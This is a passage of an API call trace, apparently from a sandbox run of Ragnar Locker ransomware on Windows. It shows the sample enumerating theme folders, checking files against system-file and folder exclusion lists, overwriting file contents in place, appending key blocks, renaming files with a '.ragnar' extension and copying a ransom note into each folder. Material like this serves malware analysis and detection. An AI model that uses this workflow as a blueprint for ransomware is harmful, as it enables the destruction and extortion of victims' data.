lpString2="bootmgr.efi") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0072.452] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0072.452] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0072.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0072.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.452] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=28595) returned 1 [0072.452] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6faa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.452] GetProcessHeap () returned 0x580000 [0072.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.452] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.454] VirtualAlloc (lpAddress=0x0, dwSize=0x6fb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.454] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.454] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.454] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6fb3, lpOverlapped=0x0) returned 1 [0072.456] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.456] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6fb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.456] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6fb3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6fb3, lpOverlapped=0x0) returned 1 [0072.456] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6fb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.456] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.456] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6fb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.457] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.457] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.457] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.457] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.457] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.457] GetProcessHeap () returned 0x580000 [0072.457] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.457] CloseHandle (hObject=0x100) returned 1 [0072.458] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" [0072.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0072.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.459] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.459] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2=".") returned 1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="..") returned 1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Windows") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Windows.old") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Tor browser") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Internet Explorer") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Google") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Opera") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Opera Software") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Mozilla") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="Mozilla Firefox") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="$Recycle.Bin") returned 1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="ProgramData") returned -1 [0072.459] lstrcmpiW (lpString1="DEEPBLUE", lpString2="All Users") returned 1 [0072.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0072.459] lstrcpyW (in: lpString1=0x1eb638, lpString2="DEEPBLUE" | out: lpString1="DEEPBLUE") returned="DEEPBLUE" [0072.459] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\" [0072.459] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\" [0072.459] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RGNR_FD7BD9FC.txt" [0072.459] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0072.461] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*" [0072.461] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.461] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.461] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d6ef120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.462] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d6ef120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0072.462] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="..") returned 1 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0072.462] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="..") returned 1 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.462] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d6ef120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.462] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.462] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0072.462] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.462] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d6ef120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d6ef120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0072.463] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.463] lstrcpyW (in: lpString1=0x1eab72, lpString2="DEEPBLUE.ELM" | out: lpString1="DEEPBLUE.ELM") returned="DEEPBLUE.ELM" [0072.463] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned=".ELM" [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="autorun.inf") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="boot.ini") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="bootfont.bin") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="bootsect.bak") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="bootmgr") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="bootmgr.efi") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="bootmgfw.efi") returned 1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="desktop.ini") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="iconcache.db") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="ntldr") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="ntuser.dat") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="ntuser.dat.log") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="ntuser.ini") returned -1 [0072.463] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="thumbs.db") returned -1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0072.463] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0072.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0072.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.464] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=71388) returned 1 [0072.465] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x116d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.465] GetProcessHeap () returned 0x580000 [0072.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.465] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.466] VirtualAlloc (lpAddress=0x0, dwSize=0x116dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.466] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x116dc, lpOverlapped=0x0) returned 1 [0072.469] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.469] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x116dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.469] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x116dc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x116dc, lpOverlapped=0x0) returned 1 [0072.469] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x116dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.470] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.470] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x116dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.470] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.470] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.470] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.470] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.470] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.470] GetProcessHeap () returned 0x580000 [0072.470] HeapFree (in: 